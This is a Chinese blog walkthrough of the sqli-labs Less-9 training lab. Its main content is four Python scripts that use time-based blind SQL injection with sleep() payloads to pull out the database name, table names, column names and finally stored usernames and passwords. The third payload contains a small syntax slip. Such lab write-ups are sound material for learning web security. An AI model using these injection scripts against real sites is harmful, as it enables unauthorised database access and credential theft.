• SQL注入实例(sqli-labs/less-9)


    0、初始页面

    1、爆库名

    使用python脚本

    1. def inject_database1(url):
    2. name = ''
    3. for i in range(1, 20):
    4. low = 32
    5. high = 128
    6. mid = (low + high) // 2
    7. while low < high:
    8. payload = "1' and if(ascii(substr(database(),%d,1)) > %d ,sleep(2),0)-- " % (i, mid)
    9. res = {"id": payload}
    10. start_time = time.time()
    11. r = requests.get(url, params=res)
    12. end_time = time.time()
    13. if end_time - start_time >= 2:
    14. low = mid + 1
    15. else:
    16. high = mid
    17. mid = (low + high) // 2
    18. if mid == 32:
    19. break
    20. name = name + chr(mid)
    21. print(name)
    22. inject_database1(url)

    2、爆表名

    使用python脚本

    1. def inject_database1(url):
    2. name = ''
    3. for i in range(1, 20):
    4. low = 32
    5. high = 128
    6. mid = (low + high) // 2
    7. while low < high:
    8. payload = "1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1)) > %d ,sleep(1),0)-- " % (i, mid)
    9. res = {"id": payload}
    10. start_time = time.time()
    11. r = requests.get(url, params=res)
    12. end_time = time.time()
    13. if end_time - start_time >= 1:
    14. low = mid + 1
    15. else:
    16. high = mid
    17. mid = (low + high) // 2
    18. if mid == 32:
    19. break
    20. name = name + chr(mid)
    21. print(name)
    22. inject_database1(url)

    3、爆列名

    使用python脚本

    1. def inject_database1(url):
    2. name = ''
    3. for i in range(1, 20):
    4. low = 32
    5. high = 128
    6. mid = (low + high) // 2
    7. while low < high:
    8. payload = "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1) > %d ,sleep(1),0)-- " % (i, mid)
    9. res = {"id": payload}
    10. start_time = time.time()
    11. r = requests.get(url, params=res)
    12. end_time = time.time()
    13. if end_time - start_time >= 1:
    14. low = mid + 1
    15. else:
    16. high = mid
    17. mid = (low + high) // 2
    18. if mid == 32:
    19. break
    20. name = name + chr(mid)
    21. print(name)
    22. inject_database1(url)

    4、显示最终目的

    使用python脚本

    1. def inject_database1(url):
    2. name = ''
    3. for i in range(1, 20):
    4. low = 32
    5. high = 128
    6. mid = (low + high) // 2
    7. while low < high:
    8. payload = "1' and if(ascii(substr((select group_concat(username,0x3a,password) from users),%d,1)) > %d ,sleep(1),0)-- " % (i, mid)
    9. res = {"id": payload}
    10. start_time = time.time()
    11. r = requests.get(url, params=res)
    12. end_time = time.time()
    13. if end_time - start_time >= 1:
    14. low = mid + 1
    15. else:
    16. high = mid
    17. mid = (low + high) // 2
    18. if mid == 32:
    19. break
    20. name = name + chr(mid)
    21. print(name)

  • 相关阅读:
    数据库的事务
    计算机毕业设计Java作品测评网站(源码+系统+mysql数据库+lw文档)
    夜天之书 #88 Elastic License 2.0 与开源协议的发展
    第16篇:JTAG UART IP应用<三>
    Oracle数据库 sql优化
    mybatis用拦截器实现字段加解密
    vue运行报错cache-loader
    java springboot 通过Referer防止跨站点请求伪造
    【黑马-SpringCloud技术栈】【04】Nacos注册中心
    2023Q2全球可穿戴腕带出货量达 4400 万台
  • 原文地址:https://blog.csdn.net/Thewei666/article/details/140937624